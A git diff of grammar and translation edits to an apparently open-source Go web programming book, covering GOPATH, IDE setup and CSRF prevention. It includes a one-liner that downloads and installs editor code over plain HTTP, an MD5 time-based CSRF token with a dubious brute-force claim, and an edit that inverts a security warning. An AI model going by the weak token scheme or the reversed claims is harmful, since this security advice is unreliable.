Merge pull request #397 from DeepAnchor/master
English grammar and translation fixes - 09.0.md to 11.4.md
This commit is contained in:
@@ -2,15 +2,15 @@
|
||||
|
||||
## $GOPATH
|
||||
|
||||
Go commands all rely on one important environment variable which is called $GOPATH. Notice that this is not the $GOROOT where Go is installed. This variable points to the workspace of Go in your computer. (I use this path in my computer, if you don't have the same directory structure, please replace by yourself.)
|
||||
Go commands all rely on one important environment variable called $GOPATH. Notice that this is not the $GOROOT variable where Go is installed. This variable points to the workspace of Go on your computer (I use this path on my computer; if you don't have the same directory structure, please replace by yourself).
|
||||
|
||||
In Unix-like systems, the variable should be used like this.
|
||||
In Unix-like systems, the variable should be used like this:
|
||||
|
||||
export GOPATH=/home/apple/mygo
|
||||
|
||||
In Windows, you need to create a new environment variable called GOPATH, then set its value to `c:\mygo`( ***This value depends on where your workspace is located*** )
|
||||
|
||||
It is OK to have more than one path(workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break up them. At this point, `go get` will save the content to your first path in $GOPATH.
|
||||
It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH.
|
||||
|
||||
In $GOPATH, you must have three folders as follows.
|
||||
|
||||
@@ -24,7 +24,7 @@ In this book, I use `mygo` as my only path in $GOPATH.
|
||||
|
||||
Create package source files and folders like `$GOPATH/src/mymath/sqrt.go` (`mymath` is the package name) ( ***Author uses `mymath` as his package name, and same name for the folder where contains package source files***)
|
||||
|
||||
Every time you create a package, you should create a new folder in the `src` directory, folders' name usually as same as the package's that you are going to use. You can have multi-level directory if you want to. For example, you create directories `$GOPATH/src/github.com/astaxie/beedb`, then the package path is `github.com/astaxie/beedb`. The package name will be the last directory in your path, which is `beedb` in this case.
|
||||
Every time you create a package, you should create a new folder in the `src` directory. Folder names are usually the same as the package that you are going to use. You can have multi-level directories if you want to. For example, if you create the directory `$GOPATH/src/github.com/astaxie/beedb`, then the package path would be `github.com/astaxie/beedb`. The package name will be the last directory in your path, which is `beedb` in this case.
|
||||
|
||||
Execute following commands. ( ***Now author goes back to talk examples*** )
|
||||
|
||||
@@ -44,22 +44,22 @@ Create a new file called `sqrt.go`, type following content to your file.
|
||||
return z
|
||||
}
|
||||
|
||||
Now my package directory is created and code work is done. I recommend you to keep same name for your package and the folder contains package source files.
|
||||
Now my package directory has been created and its code has been written. I recommend that you use the same name for your packages as their corresponding directories, and that the directories contain all of the package source files.
|
||||
|
||||
## Compile packages
|
||||
|
||||
We've already created our package above, but how to compile it for practical? There are two ways to do it.
|
||||
We've already created our package above, but how do we compile it for practical purposes? There are two ways to do this.
|
||||
|
||||
1. Switch your work path to the directory of your package, then execute command `go install`.
|
||||
2. Execute above command with file name like `go install mymath`.
|
||||
1. Switch your work path to the directory of your package, then execute the `go install` command.
|
||||
2. Execute the above command except with a file name, like `go install mymath`.
|
||||
|
||||
After compiled, we can open the following folder.
|
||||
After compiling, we can open the following folder.
|
||||
|
||||
cd $GOPATH/pkg/${GOOS}_${GOARCH}
|
||||
// you can see the file was generated
|
||||
mymath.a
|
||||
|
||||
The file whose suffix is `.a` is the binary file of our packages, and now how can we use it?
|
||||
The file whose suffix is `.a` is the binary file of our package. How do we use it?
|
||||
|
||||
Obviously, we need to create a new application to use it.
|
||||
|
||||
@@ -84,21 +84,21 @@ code
|
||||
fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2))
|
||||
}
|
||||
|
||||
To compile this application, you need to switch to the application directory which is `$GOPATH/src/mathapp` in this case, then execute command `go install`. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use command `./mathapp`, you should see following content in your terminal.
|
||||
To compile this application, you need to switch to the application directory, which in this case is `$GOPATH/src/mathapp`, then execute the `go install` command. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use the `./mathapp` command. You should see the following content in your terminal.
|
||||
|
||||
Hello world. Sqrt(2) = 1.414213562373095
|
||||
|
||||
## Install remote packages
|
||||
|
||||
Go has a tool for installing remote packages, which is the command called `go get`. It supports most of open source communities, including Github, Google Code, BitBucket, and Launchpad.
|
||||
Go has a tool for installing remote packages, which is a command called `go get`. It supports most open source communities, including Github, Google Code, BitBucket, and Launchpad.
|
||||
|
||||
go get github.com/astaxie/beedb
|
||||
|
||||
You can use `go get -u …` to update your remote packages, and it will automatically install all the dependent packages as well.
|
||||
You can use `go get -u …` to update your remote packages and it will automatically install all the dependent packages as well.
|
||||
|
||||
This tool will use different version control tools for different open source platforms. For example, `git` for Github, `hg` for Google Code. Therefore you have to install these version control tools before you use `go get`.
|
||||
This tool will use different version control tools for different open source platforms. For example, `git` for Github and `hg` for Google Code. Therefore, you have to install these version control tools before you use `go get`.
|
||||
|
||||
After executed above commands, the directory structure should look like following.
|
||||
After executing the above commands, the directory structure should look like following.
|
||||
|
||||
$GOPATH
|
||||
src
|
||||
@@ -111,15 +111,15 @@ After executed above commands, the directory structure should look like followin
|
||||
|-astaxie
|
||||
|-beedb.a
|
||||
|
||||
Actually, `go get` clones source code to $GOPATH/src of local file system, then executes `go install`.
|
||||
Actually, `go get` clones source code to the $GOPATH/src of the local file system, then executes `go install`.
|
||||
|
||||
Use remote packages is the same way as we use local packages.
|
||||
You can use remote packages in the same way that we use local packages.
|
||||
|
||||
import "github.com/astaxie/beedb"
|
||||
|
||||
## Directory complete structure
|
||||
|
||||
If you follow all steps, your directory structure should look like the following now.
|
||||
If you've followed all of the above steps, your directory structure should now look like the following.
|
||||
|
||||
bin/
|
||||
mathapp
|
||||
@@ -140,9 +140,9 @@ If you follow all steps, your directory structure should look like the following
|
||||
beedb.go
|
||||
util.go
|
||||
|
||||
Now you are able to see the directory structure clearly, `bin` contains executable files, `pkg` contains compiled files, `src` contains package source files.
|
||||
Now you are able to see the directory structure clearly; `bin` contains executable files, `pkg` contains compiled files and `src` contains package source files.
|
||||
|
||||
(The format of environment variables in Windows is `%GOPATH%`, this book mainly uses Unix-style, so Windows users need to replace by yourself.)
|
||||
(The format of environment variables in Windows is `%GOPATH%`, however this book mainly follows the Unix-style, so Windows users need to replace these yourself.)
|
||||
|
||||
## Links
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Go development tools
|
||||
|
||||
In this section, I'm going to show you some IDEs that have abilities of intelligent completion and auto-format. There are all cross-platform, so the steps I show you should not be very different if you are not using same operating system.
|
||||
In this section, I'm going to show you a few IDEs that can help you become a more efficient programmer, with capabilities such as intelligent code completion and auto-formatting. They are all cross-platform, so the steps I will be showing you should not be very different, even if you are not using the same operating system.
|
||||
|
||||
## LiteIDE
|
||||
|
||||
LiteIDE is an open source, lightweight IDE for developing Go project only, developed by visualfc.
|
||||
LiteIDE is an open source, lightweight IDE for developing Go projects only, developed by visualfc.
|
||||
|
||||

|
||||
|
||||
@@ -17,18 +17,18 @@ LiteIDE features.
|
||||
- Linux
|
||||
- Mac OS
|
||||
- Cross-compile
|
||||
- Manage multiple compile environment
|
||||
- Supports cross-compile of Go
|
||||
- Manage multiple compile environments
|
||||
- Supports cross-compilation of Go
|
||||
- Project management standard
|
||||
- Documentation view based on $GOPATH
|
||||
- Compile system based on $GOPATH
|
||||
- Compilation system based on $GOPATH
|
||||
- API documentation index based on $GOPATH
|
||||
- Go source code editor
|
||||
- Code outlining
|
||||
- Full support of gocode
|
||||
- Go documentation view and API index
|
||||
- View code expression by `F1`
|
||||
- Function declaration jump by `F2`
|
||||
- View code expression using `F1`
|
||||
- Function declaration jump using `F2`
|
||||
- Gdb support
|
||||
- Auto-format with `gofmt`
|
||||
- Others
|
||||
@@ -50,17 +50,17 @@ LiteIDE features.
|
||||
- [Download page](http://code.google.com/p/golangide)
|
||||
- [Source code](https://github.com/visualfc/liteide)
|
||||
|
||||
You need to install Go first, then download the version of your operating system. Decompress the package to direct use.
|
||||
You need to install Go first, then download the version appropriate for your operating system. Decompress the package to directly use it.
|
||||
- Install gocode
|
||||
|
||||
You have to install gocode in order to use intelligent completion
|
||||
|
||||
go get -u github.com/nsf/gocode
|
||||
|
||||
- Compile environment
|
||||
- Compilation environment
|
||||
|
||||
Switch configuration in LiteIDE that fits your operating system.
|
||||
In Windows and 64-bit version of Go, you should choose win64 in environment configuration in tool bar. Then you choose `opinion`, find `LiteEnv` in the left list, open file `win64.env` in the right list.
|
||||
Switch configuration in LiteIDE to suit your operating system.
|
||||
In Windows and using the 64-bit version of Go, you should choose win64 as the configuration environment in the tool bar. Then, choose `opinion`, find `LiteEnv` in the left list and open file `win64.env` in the right list.
|
||||
|
||||
GOROOT=c:\go
|
||||
GOBIN=
|
||||
@@ -73,7 +73,7 @@ LiteIDE features.
|
||||
|
||||
Replace `GOROOT=c:\go` to your Go installation path, save it. If you have MinGW64, add `c:\MinGW64\bin` to your path environment variable for `cgo` support.
|
||||
|
||||
In Linux and 64-bit version of Go, you should choose linux64 in environment configuration in tool bar. Then you choose `opinion`, find `LiteEnv` in the left list, open file `linux64.env` in the right list.
|
||||
In Linux and using the 64-bit version of Go, you should choose linux64 as the configuration environment in the tool bar. Then, choose `opinion`, find `LiteEnv` in the left list and open the `linux64.env` file in the right list.
|
||||
|
||||
GOROOT=$HOME/go
|
||||
GOBIN=
|
||||
@@ -86,8 +86,8 @@ LiteIDE features.
|
||||
|
||||
Replace `GOROOT=$HOME/go` to your Go installation path, save it.
|
||||
- $GOPATH
|
||||
$GOPATH is the path that contains project list, open command tool (or press `Ctrl+` in LiteIDE) then type `go help gopath` for more details.
|
||||
It's very easy to view and change $GOPATH in the LiteIDE. Follow `View - Setup GOPATH` to view and change these values.
|
||||
$GOPATH is the path that contains a list of projects. Open the command tool (or press `Ctrl+` in LiteIDE), then type `go help gopath` for more details.
|
||||
It's very easy to view and change $GOPATH in LiteIDE. Follow `View - Setup GOPATH` to view and change these values.
|
||||
|
||||
## Sublime Text
|
||||
|
||||
@@ -106,15 +106,15 @@ Here I'm going to introduce you the Sublime Text 2 (Sublime for short) + GoSubli
|
||||
Figure 1.6 Sublime project management
|
||||
|
||||
- Syntax highlight
|
||||
- Free trail forever, no functions limit. It will pop-up unregistered prompt sometimes, but you can just ignore it.
|
||||
- Free trial forever with no functional limitations. You may be prompted once in a while to remind you to purchase a licnese, but you can simply ignore it if you wish. Of course, if you do find that it enhances your productivity and you really enjoy using it, please purchase a copy of it and support its continued development!
|
||||
|
||||
First, download the version of [Sublime](http://www.sublimetext.com/) that fits your operating system.
|
||||
First, download the version of [Sublime](http://www.sublimetext.com/) suitable for your operating system.
|
||||
|
||||
1. Press `Ctrl+` ` open command tool, input following commands.
|
||||
1. Press `Ctrl+`, open the command tool and input the following commands.
|
||||
|
||||
import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation'
|
||||
|
||||
Restart when installation finished. Then you can find `Package Control` item in the Preferences menu.
|
||||
Restart Sublime text when the installation has finished. You should then find a `Package Control` option in the "Preferences" menu.
|
||||
|
||||

|
||||
|
||||
@@ -125,26 +125,26 @@ First, download the version of [Sublime](http://www.sublimetext.com/) that fits
|
||||
|
||||
Figure 1.8 Sublime Install Packages
|
||||
|
||||
Now you type GoSublime, press OK to install, same steps for installing SidebarEnhancements and Go Build. Restart when it finished installation.
|
||||
3. To verify if installation is successful, open Sublime, then open file `main.go` to see if it has syntax highlight, type `import` to see if it has prompts, after typed `import "fmt"`, type `fmt.` to see if it has intelligent completion for functions.
|
||||
Now type in "GoSublime", press OK to install the package, and repeat the same steps for installing SidebarEnhancements and Go Build. Once again, restart the editor when it completes the installation.
|
||||
3. To verify that the installation is successful, open Sublime, then open the `main.go` file to see if it has the proper syntax highlighting. Type `import` to see if code completion prompts appear. After typing `import "fmt"`, type `fmt.` anywhere after the `import` declaration to see whether or not intelligent code completion for functions was successfully enabled.
|
||||
|
||||
If everything is fine, you're all set.
|
||||
|
||||
If not, check your $PATH again. Open terminal, type `gocode`, if it cannot run, your $PATH must not configure correctly.
|
||||
If not, check your $PATH again. Open terminal, type `gocode`. If it does not run, your $PATH was not configured correctly.
|
||||
|
||||
## Vim
|
||||
|
||||
Vim a popular text editor for programmers, which is developing from vi. It has functions for intelligent completion, compile and jump to errors.
|
||||
Vim is a popular text editor for programmers, which evolved from its slimmer predecessor, Vi. It has functions for intelligent completion, compilation and jumping to errors.
|
||||
|
||||

|
||||
|
||||
Figure 1.8 Vim intelligent completion for Go
|
||||
|
||||
1. Syntax highlight for Go
|
||||
1. Syntax highlighting for Go
|
||||
|
||||
cp -r $GOROOT/misc/vim/* ~/.vim/
|
||||
|
||||
2. Set syntax highlight on
|
||||
2. Enabling syntax highlighting
|
||||
|
||||
filetype plugin indent on
|
||||
syntax on
|
||||
@@ -154,6 +154,7 @@ Figure 1.8 Vim intelligent completion for Go
|
||||
go get -u github.com/nsf/gocode
|
||||
|
||||
gocode will be installed in `$GOBIN` as default
|
||||
|
||||
4. Configure [gocode](https://github.com/nsf/gocode/)
|
||||
|
||||
~ cd $GOPATH/src/github.com/nsf/gocode/vim
|
||||
@@ -166,22 +167,22 @@ Figure 1.8 Vim intelligent completion for Go
|
||||
propose-builtins true
|
||||
lib-path "/home/border/gocode/pkg/linux_amd64"
|
||||
|
||||
Explanation of gocode set.
|
||||
Explanation of gocode configuration:
|
||||
|
||||
propose-builtins: whether open intelligent completion or not, false as default.
|
||||
|
||||
lib-path: gocode only search packages in `$GOPATH/pkg/$GOOS_$GOARCH` and `$GOROOT/pkg/$GOOS_$GOARCH`, this setting can add additional path.
|
||||
propose-builtins: specifies whether or not to open intelligent completion; false by default.
|
||||
lib-path: gocode only searches for packages in `$GOPATH/pkg/$GOOS_$GOARCH` and `$GOROOT/pkg/$GOOS_$GOARCH`. This setting can be used to add additional paths.
|
||||
|
||||
5. Congratulations! Try `:e main.go` to experience the world of Go!
|
||||
|
||||
## Emacs
|
||||
|
||||
Emacs is so-called Weapon of God. She is not only an editor, also a powerful IDE.
|
||||
Emacs is the so-called Weapon of God. She is not only an editor, but also a powerful IDE.
|
||||
|
||||

|
||||
|
||||
Figure 1.10 Emacs main panel of Go editor
|
||||
|
||||
1. Syntax highlight
|
||||
1. Syntax highlighting
|
||||
|
||||
cp $GOROOT/misc/emacs/* ~/.emacs.d/
|
||||
|
||||
@@ -304,15 +305,15 @@ Figure 1.10 Emacs main panel of Go editor
|
||||
(interactive)
|
||||
(show-all)
|
||||
(shell-command-on-region (point-min) (point-max) "go tool fix -diff"))
|
||||
6. Congratulations! speedbar is closed as default, cut comment symbols in line `;;(speedbar 1)` to have this feature, or you can have it through `M-x speedbar`.
|
||||
6. Congratulations, you're done! Speedbar is closed by default -remove the comment symbols in the line `;;(speedbar 1)` to enable this feature, or you can use it through `M-x speedbar`.
|
||||
|
||||
## Eclipse
|
||||
|
||||
Eclipse is also a great development tool, I'll show you how to use it to write Go programs.
|
||||
Eclipse is also a great development tool. I'll show you how to use it to write Go programs.
|
||||
|
||||

|
||||
|
||||
Figure 1.1 Eclipse main panel of Go editor
|
||||
Figure 1.1 Eclipse main panel for editing Go
|
||||
|
||||
1. Download and install [Eclipse](http://www.eclipse.org/)
|
||||
2. Download [goclipse](https://code.google.com/p/goclipse/)
|
||||
@@ -352,7 +353,7 @@ Figure 1.1 Eclipse main panel of Go editor
|
||||

|
||||
|
||||
Figure 1.14 gdb Setting
|
||||
6. Check installation
|
||||
6. Check the installation
|
||||
|
||||
Create a new Go project and hello.go file as following.
|
||||
|
||||
@@ -368,26 +369,26 @@ Figure 1.1 Eclipse main panel of Go editor
|
||||
|
||||
## IntelliJ IDEA
|
||||
|
||||
People who are working with Java should be familiar with this IDE, it supports Go syntax highlight, intelligent completion and reconstructed by a plugin.
|
||||
People who have worked with Java should be familiar with this IDE. It supports Go syntax highlighting and intelligent code completion, implemented by a plugin.
|
||||
|
||||
1. Download IDEA, there is no different from Ultimate and Community Edition
|
||||
1. Download IDEA, there is no difference between the Ultimate and Community editions
|
||||
|
||||

|
||||
|
||||
2. Install Go plugin. Choose `File - Setting - Plugins`, then click `Browser repo`.
|
||||
2. Install the Go plugin. Choose `File - Setting - Plugins`, then click `Browser repo`.
|
||||
|
||||

|
||||
|
||||
3. Search `golang`, double click `download and install`, wait for downloading.
|
||||
3. Search `golang`, double click `download and install` and wait for the download to complete.
|
||||
|
||||

|
||||
|
||||
Click `Apply`, then restart.
|
||||
4. Now you can create Go project.
|
||||
4. Now you can create a Go project.
|
||||
|
||||

|
||||
|
||||
Input position of go sdk in the next step, basically it's your $GOROOT.
|
||||
Input the position of your Go sdk in the next step -basically it's your $GOROOT.
|
||||
|
||||
( ***See a [blog post](http://wuwen.org/tips-about-using-intellij-idea-and-go/) for setup and use IntelliJ IDEA with Go step by step *** )
|
||||
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# 9 Security and encryption
|
||||
Security is important with Web application. This topic been getting more and more attention lately, especially in recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of vulnerabilities in our application and take precautions to prevent attackers from taking over our system.
|
||||
Security is an extremely important aspect of most web applications. This topic has been getting more and more attention lately, especially in light of the recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of vulnerabilities in our applications and take precautions in order to prevent attackers from taking over our systems.
|
||||
|
||||
Many Web application security problems are due to the data provided by a third-party. For example, user input should be validated and sanitized before being stored as secure data. If this isn't done then when the data is outputted to the client, it may cause a cross-site scripting attack (XSS). If unsafe data is used database queries, then it may cause a SQL injection. In sections 9.3, 9.4 we'll look at how to avoid these problems.
|
||||
Many of the security problems that arise in modern web applications originate from data provided by third-parties. For example, user input should always be validated and sanitized before being stored as secure data. If this isn't done, when the data is outputted to a client, it may cause a cross-site scripting attack (XSS). Similarly, if unsafe data is used directly as your application's database queries, then you may be vulnerable to SQL injection attacks. In sections 9.3 and 9.4, we'll look at how to avoid these problems.
|
||||
|
||||
When using third-party data, including user-supplied data, first verify the integrity of the data by filtering the input. Section 9.2 describe how to filter input.
|
||||
When using third-party data (which includes user-supplied data), first verify the integrity of the data by filtering the input. Section 9.2 will describe how to filter input.
|
||||
|
||||
Unfortunately, filtering input and escaping output does not solve all security problems. We will explain in section 9.1 cross-site request forgery (CSRF) attacks.
|
||||
This is a malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.
|
||||
Unfortunately, filtering input and escaping output does not solve all security problems. In section 9.1, we will explain cross-site request forgery (CSRF) attacks.
|
||||
This is a malicious exploit where unauthorized commands are transmitted from a user that the website trusts.
|
||||
|
||||
Adding encryption can also include the security of our Web application. In section 9.5 we will describe how to store passwords safely.
|
||||
Keeping confidential data encrypted can also help you to secure your web applications. In section 9.5, we will describe how to store passwords safely using Go's encryption package.
|
||||
|
||||
A good hash function makes it hard to find two strings that would produce the same hash value, which describes one way encryption. There is also two-way encryption, that is where you use a key to decrypt encrypted data. In section 9.6 we will describe how to perform one-way and two-way encryption.
|
||||
A good hash function makes it hard to find two strings that would produce the same hash value, and this is one way with which we can encrypt our data. There is also two-way encryption, where you use a secret key to decrypt encrypted data. In section 9.6 we will describe how to perform both one-way and two-way encryption.
|
||||
|
||||
|
||||
## Links
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
## What is CSRF?
|
||||
|
||||
CSRF and XSRF stands for "Cross-site request forgery". It's also known as "one click attack/session riding" and short term is CSRF/XSRF.
|
||||
CSRF and XSRF both stand for "Cross-site request forgery". It's also known as a "one click attack" or "session riding".
|
||||
|
||||
So how does CSRF attack work? Basically it's when an attacker trick a trusted user into accessing a website or clicking a URL that transmit malicious requests without the user’s consent to a targeted website. Here's an simple example: using a few social engineering tricks, an attacker could use the QQ chat software to find a victim and to send a malicious link to the victim targeted for the user's bank website. If the victim logs into their online banking account and does not exit, then click on a link sent from the attacker, then the user's bank account funds could likely to be transferred to the attacker specified account.
|
||||
So how does a CSRF attack work? A CSRF attack happens when an attacker tricks a trusted user into accessing a website or clicking a URL that transmits malicious requests (without the user’s consent) to a targeted website. Here's a simple example: using a few social engineering tricks, an attacker could use the QQ chat software to find and send malicious links to victims targeted at their user's online banking website. If the victim logs into their online bank account and does not exit, then clicking on a malicious link sent from the attacker could allow the attacker to steal all of the user's bank account funds.
|
||||
|
||||
When under a CSRF attack, the end-user with an administrator account can threaten the entire Web application.
|
||||
When under a CSRF attack, a single end-user with an administrator account can threaten the integrity of the entire web application.
|
||||
|
||||
## CSRF principle
|
||||
|
||||
@@ -16,52 +16,51 @@ The following diagram provides a simple overview of a CSRF attack
|
||||
|
||||
Figure 9.1 CSRF attack process.
|
||||
|
||||
As can be seen from the figure, to complete a CSRF attack, the victim must complete these two steps:
|
||||
As can be seen from the figure, to complete a CSRF attack, the victim must complete the following two steps:
|
||||
|
||||
-1. Log into trusted site A, and store a local Cookie.
|
||||
-2. Without existing site A, access to dangerous link to site B.
|
||||
-2. Without going through existing site A, access the dangerous link to site B.
|
||||
|
||||
See here, the reader may ask : "If I do not meet the above two conditions in any one, it will not be CSRF attacks." Yes, it is true, but you can not guarantee that the following does not happen :
|
||||
As a reader you may be asking: "If I do not meet the above two conditions, I will will not be subjected to CSRF attacks." Yes this is true, however you cannot guarantee that the following does not occur:
|
||||
|
||||
- You can not guarantee that when you are logged in a site, the site didn't lauch any hidden tabs.
|
||||
- You can not guarantee that when you close your browser, your cookies immediately expire and your last session has ended.
|
||||
- A trusted high traffic sites doesn't have hidden vulnerabilities that could be exploited with a CSRF attack.
|
||||
- You cannot guarantee that when you are logged into a site, the site didn't launch any hidden tabs.
|
||||
- You cannot guarantee that when you close your browser, your cookies will immediately expire and your last session will have ended.
|
||||
- Trusted, high traffic websites will likely not have hidden vulnerabilities easily exploitable by CSRF based attacks.
|
||||
|
||||
Therefore, it is difficult for a user to visit a website through a link and know that they do not carry out unknown operations for a CSRF attack.
|
||||
Thus, it can be difficult for users to visit a website through a link and know that it will not carry out unknown operations in the form of a CSRF attack.
|
||||
|
||||
CSRF attacks work mostly because of the process of Web authentication. Although you can guarantee that a request is from a user's browser, you can not guarantee that the user approved the request.
|
||||
CSRF attacks work mostly because of the process through which users are authenticated. Although you can reasonably guarantee that a request originates from a user's browser, there is no guarantee that the user granted approval for the request.
|
||||
|
||||
## How to prevent CSRF
|
||||
## How to prevent CSRF attacks
|
||||
|
||||
You might be a little scared after reading the section above. But terror is a good thing. It will force you read on how to prevent vulnerabilities like this from happening to you.
|
||||
You might be a little scared after reading the section above. But fear is a good thing. It will force you educate yourself on how to prevent vulnerabilities like this from happening to you.
|
||||
|
||||
CSRF defenses can be built on the server and client side. A CSRF defense is most effective on the server side.
|
||||
Preventative measures against CSRF attacks can be taken on both the server and client sides of a web application. However, CSRF attacks are most effectively thwarted on the server side.
|
||||
|
||||
There are many ways of preventing CSRF attacks are the server side. Most of the defensive stem from from the following two aspects:
|
||||
There are many ways of preventing CSRF attacks are the server side. Most approaches stem from from the following two aspects:
|
||||
|
||||
1. Maintaining proper use GET, POST and Cookie.
|
||||
2. Include a pseudo-random number with non-GET requests.
|
||||
1. Maintaining proper use of GET, POST and cookies.
|
||||
2. Including a pseudo-random number with non-GET requests.
|
||||
|
||||
In the previous chapter on REST, we saw how most Web applications are based on GET, POST requests, and that cookies where included with the request. We generally design application as follows :
|
||||
In the previous chapter on REST, we saw how most web applications are based on GET and POST HTTP requests, and that cookies were included along with these requests. We generally design application as according to the following principles:
|
||||
|
||||
1. GET is commonly used to view information without changing values.
|
||||
1. GET is commonly used to view information without altering any data.
|
||||
|
||||
2. POST is used in placing orders, change the properties of a resource or perform other tasks.
|
||||
2. POST is used in placing orders, changing the properties of a resource or performing other tasks.
|
||||
|
||||
Then I will use the Go language to illustrate how to restrict access to resources Methods:
|
||||
I'm now going to use the Go language to illustrate how to restrict access to resources methods:
|
||||
|
||||
mux.Get("/user/:uid", getuser)
|
||||
mux.Post("/user/:uid", modifyuser)
|
||||
|
||||
After this treatment, because we define the modifications can only use POST, GET method when it refused to respond to the request, so the above illustration GET method of CSRF attacks can be prevented, but it can all solve the problem yet ? Of course not, because POST also can simulate.
|
||||
Since we've stipulated that modifications can only use POST, when a GET method is issued instead of a POST, we can refuse to respond to the request. According to the figure above, attacks utilizing GET as a CSRF exploit can be prevented. Is this enough to prevent all possible CSRF attacks? Of course not, because POSTs can also be forged.
|
||||
|
||||
Therefore, we need to implement the second step, the way in non-GET requests to increase the random number, this probably has three ways:
|
||||
We need to implement a second step, which is (in the case of non-GET requests) to increase the length of the pseudo-random number included with the request. This usually involves steps:
|
||||
|
||||
- For each user generates a unique cookie token, all forms contain the same pseudo-random value, this proposal was the most simple, because the attacker can not get a third party Cookie ( in theory ), so the data in the form will construct fail, but it is easy because the user's Cookie XSS vulnerability because the site had been stolen, so this program must be in the absence of circumstances that XSS security.
|
||||
- Each request to use the verification code, this program is perfect, because many enter the verification code, so the user-friendliness is poor, it is not suitable for practical use.
|
||||
- A different form contains a different pseudo- random value, we introduce in section 4.4, "How to prevent multiple form submission" is introduced in this scenario, the relevant code reuse to achieve the following :
|
||||
- For each user, generate a unique cookie token with a pseudo-random value. All forms must contain the same pseudo-random value. This proposal is the simplest one because in theory, an attacker cannot read third party cookies. Any form that an attacker may submit will fail the validation process without knowing what the random value is.
|
||||
- Different forms contain different pseudo-random values, as we've introduced in section 4.4, "How to prevent multiple form submission". We can reuse the relevant code from that section suit our needs:
|
||||
|
||||
Generate a random number token:
|
||||
Generating a random number token:
|
||||
|
||||
h := md5.New()
|
||||
io.WriteString(h, strconv.FormatInt(crutime, 10))
|
||||
@@ -86,11 +85,11 @@ Authentication token:
|
||||
// Error token does not exist
|
||||
}
|
||||
|
||||
So basically to achieve a secure POST, but maybe you would say if you break the token algorithm does, in accordance with the theory, but in fact crack is basically impossible, because someone has calculated brute force of the string needs about 2 the 11 th time.
|
||||
We can use the preceding code to secure our POSTs. You might be wondering, in accordance with our theory, whether there could be some way for a malicious third party to somehow figure out our secret token value? In fact, cracking it is basically impossible -successfully calculating the correct string value using brute force methods needs about 2 to the 11th time.
|
||||
|
||||
## Summary
|
||||
|
||||
Cross-site request forgery, that CSRF, is a very dangerous web security threats, it is Web security circles as "sleeping giant", the level of threat which "reputation" can be seen. This section not only for cross-site request forgery itself a brief introduction, also details the reason causing this vulnerability and then put some order to prevent the attack of suggestions, hoping for the reader to write secure web applications can inspire.
|
||||
Cross-site request forgery, otherwise known as CSRF, is a very dangerous web security threat. It is known in web security circles as a "sleeping giant" security issue; as you can tell, CSRF attacks have quite the reputation. This section not only introduced cross-site request forgery itself, but factors underlying this vulnerability. It concludes with some suggestions and methods for preventing such attacks. I hope this section will have inspired you, as a reader, to write better and more secure web applications.
|
||||
|
||||
## Links
|
||||
- [Directory](preface.md)
|
||||
|
||||
@@ -1,41 +1,41 @@
|
||||
# 9.2 Filter inputs
|
||||
# 9.2 Filtering inputs
|
||||
|
||||
Filter user data is a Web application security. It is to verify the legitimacy of the process data. Through all of the input data is filtered to avoid malicious data in the program to be mistaken belief or misuse. Most Web application vulnerabilities because no user input data for proper filtration caused.
|
||||
Filtering user data is one way we can improve the security of our web apps, using it to verify the legitimacy of incoming data. All of the input data is filtered in order to avoid malicious code or data from being mistakenly executed or stored. Most web application vulnerabilities arise form neglecting to filter input data and naively trusting it.
|
||||
|
||||
We introduce filtering data is divided into three steps:
|
||||
Our introduction to filtering data is divided into three steps:
|
||||
|
||||
1. the identification data, the data needs to be filtered to figure out from where
|
||||
2. the filtering data, we need to figure out what kind of data
|
||||
3. the distinction between filtered and tainted data, so if there is assurance attack data after filtering allows us to use a more secure data
|
||||
1. identifying the data; we need to filter the data to figure out where it originated form
|
||||
2. filtering of the data itself; we need to figure out what kind of data we have received
|
||||
3. distinguish between filtered (sanitized) and tainted data; after the data has been filtered, we can be assured that it is is secure
|
||||
|
||||
## Identify data
|
||||
## Identifying data
|
||||
|
||||
"Identification data" as a first step because you do not know " what the data is, where it comes from," the premise that you would be unable to properly filter it. The data here is provided internally all from non-code data. For example: all data from the client, but the client is not the only external data source, a database interface data provided by third parties, also be an external data source.
|
||||
"Identifying the data" is our first step because most of the time, as mentioned, we don't know where it originates from. Without this knowledge, we would be unable to properly filter it. The data here is provided internally all from non-code data. For example: all data comes from clients, however clients that are users are not the only external sources of data. A database interface providing third party data could also be an external data source.
|
||||
|
||||
The data entered by the user is very easy to recognize we Go, Go through the `r.ParseForm` after the user POST and GET data all on the `r.Form` inside. Other input is much harder to identify, for example, `r.Header` Many of the elements are manipulated by the client. Often difficult to identify which of these elements of the input, so the best way is to put inside all the data as a user input. ( Ex `r.Header.Get("Accept-Charset")` This is also seen as user input, although these most browsers manipulation )
|
||||
Data that has been entered by a user is very easy to recognize in Go. We use `r.ParseForm` after the user POSTs a form to get all of the data inside the `r.Form`. Other types of input are much harder to identify. For example in `r.Header`s, many of the elements are often manipulated by the client. It can often be difficult to identify which of these elements have been manipulated by clients, so it's best to consider all of them as having been tainted. The `r.Header.Get("Accept-Charset")` header field, for instance, is also considered as user input, although these are typically only manipulated by browsers.
|
||||
|
||||
## Filter data
|
||||
## Filtering data
|
||||
|
||||
Data sources in the know, you can filter it. Filtering is a bit formal terms, it is expressed in peacetime there are many synonyms, such as validation, cleaning and decontamination. Despite the apparent meaning of these terms are different, but they all refer to the same treatment: to prevent illegal data into your application.
|
||||
